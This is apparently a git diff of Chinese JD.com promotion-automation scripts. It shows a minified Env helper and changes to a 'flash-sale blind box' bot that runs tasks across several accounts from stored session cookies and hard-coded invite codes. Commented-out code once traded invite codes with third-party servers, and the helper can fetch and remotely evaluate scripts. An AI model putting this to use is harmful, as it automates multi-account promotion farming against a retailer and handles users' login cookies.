if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_sgmh.js b/jd_sgmh.js index 4243919..a59e731 100755 --- a/jd_sgmh.js +++ b/jd_sgmh.js @@ -10,7 +10,7 @@ ============Quantumultx=============== [task_local] #闪购盲盒 -20 8 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_sgmh.js, tag=闪购盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +20 8 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_sgmh.js, tag=闪购盲盒, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true ================Loon============== [Script] @@ -29,12 +29,13 @@ const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; let appId = '1EFRXxg' , homeDataFunPrefix = 'interact_template', collectScoreFunPrefix = 'harmony', message = '' let lotteryResultFunPrefix = homeDataFunPrefix, browseTime = 6 const inviteCodes = [ - 'T019-aknAFRllhyoQlyI46gCjVQmoaT5kRrbA@T010_aU6SR8Q_QCjVQmoaT5kRrbA@T0225KkcRhcbp1CBJhv0wfZedQCjVQmoaT5kRrbA@T027Zm_olqSxIOtH97BATGmKoWraLawCjVQmoaT5kRrbA', - 'T019-aknAFRllhyoQlyI46gCjVQmoaT5kRrbA@T010_aU6SR8Q_QCjVQmoaT5kRrbA@T027Zm_olqSxIOtH97BATGmKoWraLawCjVQmoaT5kRrbA@T0225KkcRk1N_FeCJhv3xvdfcQCjVQmoaT5kRrbA' + //'T0225KkcRUxL9FKDJh7ylvMLcACjVWmIaW5kRrbA@T0225KkcRx0Q_AaCdRr1xf8DIQCjVWmIaW5kRrbA@T0225KkcRksZpgDSIBj3xvADdQCjVWmIaW5kRrbA@T018v_52Qxge81HeJB2b1ACjVWmIaW5kRrbA@T0205KkcPFd_vD2uSkCi3YhXCjVWmIaW5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVQmoaT5kRrbA', + //'T0225KkcRUxL9FKDJh7ylvMLcACjVWmIaW5kRrbA@T0225KkcRx0Q_AaCdRr1xf8DIQCjVWmIaW5kRrbA@T0225KkcRksZpgDSIBj3xvADdQCjVWmIaW5kRrbA@T018v_52Qxge81HeJB2b1ACjVWmIaW5kRrbA@T0205KkcPFd_vD2uSkCi3YhXCjVWmIaW5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVQmoaT5kRrbA' ]; -const randomCount = $.isNode() ? 20 : 5; +const randomCount = $.isNode() ? 10 : 5; const notify = $.isNode() ? require('./sendNotify') : ''; let merge = {} +let myInviteCode; //IOS等用户直接用NobyDa的jd cookie let cookiesArr = [], cookie = ''; if ($.isNode()) { @@ -49,7 +50,7 @@ if ($.isNode()) { const JD_API_HOST = `https://api.m.jd.com/client.action`; !(async () => { if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { "open-url": "https://bean.m.jd.com/" }); return; } await requireConfig(); @@ -66,7 +67,7 @@ const JD_API_HOST = `https://api.m.jd.com/client.action`; await shareCodesFormat(); console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); if ($.isNode()) { await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); @@ -74,7 +75,14 @@ const JD_API_HOST = `https://api.m.jd.com/client.action`; continue } await interact_template_getHomeData() - await showMsg(); + // await showMsg(); +// console.log(`📦闪购盲盒-开始提交互助码!📦`); +// const submitCodeRes = await submitCode(); +// if (submitCodeRes && submitCodeRes.code === 200) { +// console.log(`📦闪购盲盒-互助码提交成功!📦`); +// } else if (submitCodeRes.code === 300) { +// console.log(`📦闪购盲盒-互助码已提交!📦`); +// } } } })() @@ -104,6 +112,8 @@ function interact_template_getHomeData(timeout = 0) { data = JSON.parse(data); if (data.data.bizCode !== 0) { console.log(data.data.bizMsg); + // merge.jdBeans.fail++; + // merge.jdBeans.notify = `${data.data.bizMsg}`; return } scorePerLottery = data.data.result.userInfo.scorePerLottery||data.data.result.userInfo.lotteryMinusScore @@ -114,6 +124,7 @@ function interact_template_getHomeData(timeout = 0) { //签到 if (data.data.result.taskVos[i].taskName === '邀请好友助力') { console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.result.taskVos[i].assistTaskDetailVo.taskToken}\n`); + myInviteCode = data.data.result.taskVos[i].assistTaskDetailVo.taskToken; for (let code of $.newShareCodes) { if (!code) continue await harmony_collectScore(code, data.data.result.taskVos[i].taskId); @@ -280,6 +291,9 @@ function requireConfig() { $.shareCodesArr.push(shareCodes[item]) } }) + } else { + if ($.getdata('JDSGMH_SHARECODES')) $.shareCodesArr = $.getdata('JDSGMH_SHARECODES').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的闪购盲盒邀请码:${$.getdata('JDSGMH_SHARECODES')}\n`); } console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); resolve() @@ -298,43 +312,67 @@ function shareCodesFormat() { const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); $.newShareCodes = inviteCodes[tempIndex].split('@'); } - const readShareCodeRes = await readShareCode(); - // console.log(readShareCodeRes) - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } + // const readShareCodeRes = await readShareCode(); + // // console.log(readShareCodeRes) + // if (readShareCodeRes && readShareCodeRes.code === 200) { + // $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + // } console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) resolve(); }) } -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({ - url: `http://share.turinglabs.net/api/v3/sgmh/query/${randomCount}/`, - 'timeout': 10000 - }, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(2000); - resolve() - }) -} +// function readShareCode() { +// console.log(`开始`) +// return new Promise(async resolve => { +// $.get({ +// url: `http://www.helpu.cf/jdcodes/getcode.php?type=sgmh&num=${randomCount}`, +// 'timeout': 10000 +// }, (err, resp, data) => { +// try { +// if (err) { +// console.log(`${JSON.stringify(err)}`) +// console.log(`${$.name} API请求失败,请检查网路重试`) +// } else { +// if (data) { +// console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) +// data = JSON.parse(data); +// } +// } +// } catch (e) { +// $.logErr(e, resp) +// } finally { +// resolve(data); +// } +// }) +// await $.wait(2000); +// resolve() +// }) +// } +//提交互助码 +// function submitCode() { +// return new Promise(async resolve => { +// $.get({url: `http://www.helpu.cf/jdcodes/submit.php?code=${myInviteCode}&type=sgmh`, timeout: 10000}, (err, resp, data) => { +// try { +// if (err) { +// console.log(`${JSON.stringify(err)}`) +// console.log(`${$.name} API请求失败,请检查网路重试`) +// } else { +// if (data) { +// //console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) +// data = JSON.parse(data); +// } +// } +// } catch (e) { +// $.logErr(e, resp) +// } finally { +// resolve(data); +// } +// }) +// await $.wait(15000); +// resolve() +// }) +// } function TotalBean() { return new Promise(async resolve => { const options = { @@ -390,4 +428,4 @@ function jsonParse(str) { } } } -function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return 